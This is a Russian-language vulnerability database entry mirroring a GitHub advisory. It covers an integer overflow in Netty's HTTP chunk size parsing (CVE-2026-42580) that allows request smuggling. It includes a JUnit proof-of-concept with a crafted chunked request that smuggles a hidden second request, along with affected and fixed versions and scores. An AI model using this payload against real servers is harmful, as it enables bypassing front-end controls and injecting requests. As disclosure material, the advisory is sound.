GHSA-m4cv-j2px-7723

Опубликовано: 07 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 6.5

Описание

Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.US_ASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Ссылки

Пакеты

Наименование

io.netty:netty-codec-http

maven

Затронутые версииВерсия исправления

>= 4.2.0.Alpha1, <= 4.2.12.Final

4.2.13.Final

Наименование

io.netty:netty-codec-http

maven

Затронутые версииВерсия исправления

<= 4.1.132.Final

4.1.133.Final

EPSS

Процентиль: 29%

0.00364

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-42580

Дефекты

CWE-190

CWE-444

Связанные уязвимости

CVE-2026-42580

CVSS3: 6.5

ubuntu

3 месяца назад

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVE-2026-42580

CVSS3: 6.5

redhat

3 месяца назад

CVE-2026-42580

CVSS3: 6.5

nvd

3 месяца назад

CVE-2026-42580

CVSS3: 6.5

debian

3 месяца назад

Netty is an asynchronous, event-driven network application framework. ...

BDU:2026-09279

CVSS3: 6.5

fstec

3 месяца назад

Уязвимость компонента обработки HTTP-трафика фреймворка для разработки сетевых приложений, серверов и клиентов протоколов Netty, позволяющая нарушителю проводить спуфинг-атаки

EPSS

Процентиль: 29%

0.00364

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-42580

Дефекты

CWE-190

CWE-444